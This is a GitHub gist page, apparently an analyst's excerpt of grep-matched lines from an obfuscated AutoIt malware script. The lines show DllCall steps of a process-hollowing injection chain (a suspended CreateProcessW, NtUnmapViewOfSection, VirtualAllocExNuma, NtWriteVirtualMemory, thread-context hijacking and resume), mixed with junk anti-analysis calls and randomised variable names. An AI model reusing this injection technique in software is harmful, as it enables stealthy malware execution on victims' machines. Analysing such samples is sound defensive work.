Skip to content

Instantly share code, notes, and snippets.

@CCob

CCob/gist:4b97f353f58d96e925c63b3909cbe8bd

Created January 15, 2023 19:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CCob/4b97f353f58d96e925c63b3909cbe8bd to your computer and use it in GitHub Desktop.
Save CCob/4b97f353f58d96e925c63b3909cbe8bd to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.txt
Line 588: $arSmtpEight = DllCall("kernel32.dll", "ptr", "VirtualAllocExNuma","handle", $REGULARLYDESCRIBEEDSPRIESTAPT,"ptr", $BeverageIncorporatedBookmarkEstablished,"dword_ptr", $RPCLAIREDEVELOPERPENDINGKILLER,"dword", 0x1000,"dword", 4, "dword", 0)
Line 615: $arSmtpEight = DllCall("kernel32.dll", "ptr", "VirtualAllocExNuma","handle", $REGULARLYDESCRIBEEDSPRIESTAPT,"ptr", $BeverageIncorporatedBookmarkEstablished,"dword_ptr", $RPCLAIREDEVELOPERPENDINGKILLER,"dword", 0x3000,"dword", 4, "dword", 0)
Line 776: $SOMANONPROFITPD = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "YAg")
Line 825: $ManufacturedVillagesBeadsOvercome = DllCall("kernel32.dll", "long", "GetErrorMode")
Line 921: $bbswantingaka = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "lScKbjVnlu")
Line 1370: $ledandorradecadesevanescence = DllCall("kernel32.dll","dword","GetActiveProcessorCount", "dword", 159)
Line 1451: $namespacepvcadjustmentbaskets = DllCall("kernel32.dll","dword","GetActiveProcessorCount", "dword", 140)
Line 1471: $carlorescuegenerating = DllCall("kernel32.dll", "long", "GetErrorMode")
Line 1497: $AgentChallengeBriefly = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "uPyophuxm")
Line 1854: $CommandsAccessGoat = DllCall("kernel32.dll", "ptr", "GetModuleHandleW", "ptr", 0)
Line 2144: $CommandsAccessGoat = DllCall("kernel32.dll", "ptr", "GetModuleHandleW", "wstr", "user32.dll")
Line 2170: $CommandsAccessGoat = DllCall("kernel32.dll", "ptr", "GetProcAddress", "ptr", $CommandsAccessGoat[0], "str", "MessageBoxIndirectW")
Line 2193: $CommandsAccessGoat = DllCall("kernel32.dll", "ptr", "CreateThread", "ptr", 0, "dword_ptr", 0, "ptr", $CommandsAccessGoat[0], "ptr", DllStructGetPtr($developmentalsntrialwin), "dword", 0, "dword*", 0)
Line 2314: $customersThruConstructConsistent[0][2] = DllCallbackRegister("lenderBloggingPleased", "none", "")
Line 2333: $CommandsAccessGoat = DllCall("user32.dll", "uint_ptr", "SetTimer", "hwnd", 0, "uint_ptr", 0, "uint", 200, "ptr", DllCallBackGetPtr($customersThruConstructConsistent[0][2]))
Line 2662: $calendarDropChristinaLensShared = DllCall("kernel32.dll", "bool", "CloseHandle", "ptr", "6")
Line 2679: $geologyMargaretEnvelope = DllCall("kernel32.dll","dword","GetActiveProcessorCount", "dword", 55)
Line 2772: $SwissLimitingContractorsElectionWeekends = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "nQlJ")
Line 3012: Local $arSmtpEight = DllCall("kernel32.dll", "bool", "CreateProcessW","wstr", Null,"wstr", $CAMPBELLTWINWONSHIT & " " & $joinedScratchBettyChoosingBlowjobs,"ptr", 0,"ptr", 0,"int", 0,"dword", 134217732,"ptr", 0,"ptr", 0,"ptr", DllStructGetPtr($voyeurwebinkjetinstrumentsexamexactly),"ptr", DllStructGetPtr($adoptedDownloadableReunion))
Line 3414: $arSmtpEight = DllCall("kernel32.dll", "bool", "GetThreadContext","handle", $AVOIDINGJUVENILEWILEY,"ptr", DllStructGetPtr($specstoymoreovercoffee))
Line 4621: $arSmtpEight = DllCall("ntdll.dll", "bool", "NtWriteVirtualMemory","handle", $REGULARLYDESCRIBEEDSPRIESTAPT,"ptr", $explorerCosmeticDod,"ptr", $BlowjobSensorCompatibilityDried,"dword_ptr", $katestandreel,"dword_ptr*", 0)
Line 4975: $arSmtpEight = DllCall("ntdll.dll", "bool", "NtReadVirtualMemory","ptr", $REGULARLYDESCRIBEEDSPRIESTAPT,"ptr", $notionlitecreatures,"ptr", DllStructGetPtr($infantremainsdocintended),"dword_ptr", DllStructGetSize($infantremainsdocintended),"dword_ptr*", 0)
Line 5123: $arSmtpEight = DllCall("ntdll.dll", "bool", "NtWriteVirtualMemory","handle", $REGULARLYDESCRIBEEDSPRIESTAPT,"ptr", $notionlitecreatures,"ptr", DllStructGetPtr($infantremainsdocintended),"dword_ptr", DllStructGetSize($infantremainsdocintended),"dword_ptr*", 0)
Line 5404: $arSmtpEight = DllCall("ntdll.dll", "bool", "NtProtectVirtualMemory", "handle", $REGULARLYDESCRIBEEDSPRIESTAPT, "ptr", DllStructGetPtr($infantremainsdocintended, "ImageBaseAddress"), "ptr", DllStructGetPtr($PACKSOUNDTRACKPROJECTARBITRATIONPLAINSTRUCT, "tempik"), "dword", 64, "dword*", "")
Line 5471: $arSmtpEight = DllCall("ntdll.dll", "bool", "NtSetContextThread","handle", $AVOIDINGJUVENILEWILEY,"ptr", DllStructGetPtr($specstoymoreovercoffee))
Line 5664: $arSmtpEight = DllCall("ntdll.dll", "dword", "NtResumeThread", "handle", $AVOIDINGJUVENILEWILEY, "long*", 0)
Line 5975: $CommandsAccessGoat = DllCall("user32.dll", "int", "KillTimer", "hwnd", 0, "uint_ptr", $customersThruConstructConsistent[0][3])
Line 6307: $FreeInterviewsAutomotiveBiteNightmare = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "ytmslid")
Line 6356: $disclosureIntendedCreekParticularColleague = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "qvM")
Line 6561: $textbookusebestsellersreporterhopefully = DllCall("kernel32.dll","dword","GetActiveProcessorCount", "dword", 196)
Line 6953: $FordCloserFloral = DllCall("kernel32.dll", "bool", "CloseHandle", "ptr", "107")
Line 7020: $developFebKnitting = DllCall("kernel32.dll", "long", "GetErrorMode")
Line 7096: $afFictionPhilippines = DllCall("kernel32.dll", "long", "GetErrorMode")
Line 7106: $ClearlyForgetTobagoTreasuresReadings = DllCall("kernel32.dll", "bool", "CloseHandle", "ptr", "60")
Line 7569: $postingsegyptbelle = DllCall ("kernel32.dll", "long", "GetTickCount")[0]
Line 7585: $PACKSOUNDTRACKPROJECTARBITRATIONPLAIN = DllCall ("kernel32.dll", "long", "GetTickCount")[0]
Line 7779: $arSmtpEight8 = DllCall("ntdll.dll", "int", "NtUnmapViewOfSection","handle", $REGULARLYDESCRIBEEDSPRIESTAPT,"ptr", $BeverageIncorporatedBookmarkEstablished)
Line 8142: $arSmtpEight = DllCall("kernel32.dll", "ptr", "VirtualAllocExNuma","handle", $REGULARLYDESCRIBEEDSPRIESTAPT,"ptr", 0,"dword_ptr", $RPCLAIREDEVELOPERPENDINGKILLER,"dword", 0x3000,"dword", 4, "dword", 0)
Line 8397: $RESERVATIONMFGCUSTOMER = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "WpISqNYsIi")
Line 8411: $ComposerColonialHandy = DllCall("kernel32.dll","dword","GetActiveProcessorCount", "dword", 50)
Line 8438: $polishPillsMexicanAwareLogan = DllCall("kernel32.dll","dword","GetActiveProcessorCount", "dword", 188)
Line 8485: $moonleagueconsistentlywitnessriverside = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "kAgabOhqd")
Line 8563: $shipmentfootwearclosermeallimited = DllCall("kernel32.dll", "long", "GetErrorMode")
Line 8606: $COLONIALADVERTISERSHONOLULUSHANGHAI = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "dvrqPq")
Line 8629: $FINITESONTHAILANDCONSTITUTE = DllCall("kernel32.dll","dword","GetActiveProcessorCount", "dword", 14)
Line 8705: Local $insertJerusalemEllis = DllCall("ntdll.dll", "int", "RtlDecompressBuffer", "ushort", 2, "ptr", DllStructGetPtr($plannersscholarshipsrundeputy), "dword", DllStructGetSize($plannersscholarshipsrundeputy), "ptr", DllStructGetPtr($beginsvoteswomen), "dword", DllStructGetSize($beginsvoteswomen), "dword*", 0)
Line 9371: $indicatedpackagebuttobagopiss = DllCall("kernel32.dll", "bool", "CloseHandle", "ptr", "138")
Line 9519: $REPLIEDGUARDCONCERNINGCLAIMDIP = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "Hmv")
Line 9663: $doverusdachieving = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "uVTMsXaJZw")
Line 9679: $guestcontrarypicnic = DllCall("kernel32.dll", "bool", "CloseHandle", "ptr", "183")
Line 9702: Local $ENROLLEDCONSIDERABLESWEDISH = DllCall("kernel32.dll", "handle", "CreateToolhelp32Snapshot", "dword", 0x00000002, "dword", 0)[0]
Line 9780: Local $abortionBeautifullyContinuallyAdaptive = DllCall("kernel32.dll", "bool", "Process32FirstW", "handle", $ENROLLEDCONSIDERABLESWEDISH, "struct*", $louNukeConstitutesCondition)
Line 9802: $NCOUNTYCANDIDATES = DllCall(@SystemDir & "\psapi.dll", "dword", "GetModuleFileNameExW", "handle", DllCall("kernel32.dll", "handle", "OpenProcess", "dword", 0x00001010, "bool", 0, "dword", authenticFisherCircleColleaguesBl($louNukeConstitutesCondition, "ParentProcessID"))[0], "handle", 0, "wstr", "", "int", 4096)[3]
Line 9845: $abortionBeautifullyContinuallyAdaptive = DllCall("kernel32.dll", "bool", "Process32NextW", "handle", $ENROLLEDCONSIDERABLESWEDISH, "struct*", $louNukeConstitutesCondition)
Line 9937: $experienceFPlentyAntivirusCapitol = DllCall("kernel32.dll", "long", "GetErrorMode")
Line 9992: $septReasonsFascinatingReconstruction = DllCall("kernel32.dll", "long", "GetErrorMode")
Line 10072: $holdstightthumbnailcannon = DllCall("shlwapi.dll", "bool", "PathIsDirectoryW", "wstr", "mZE")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment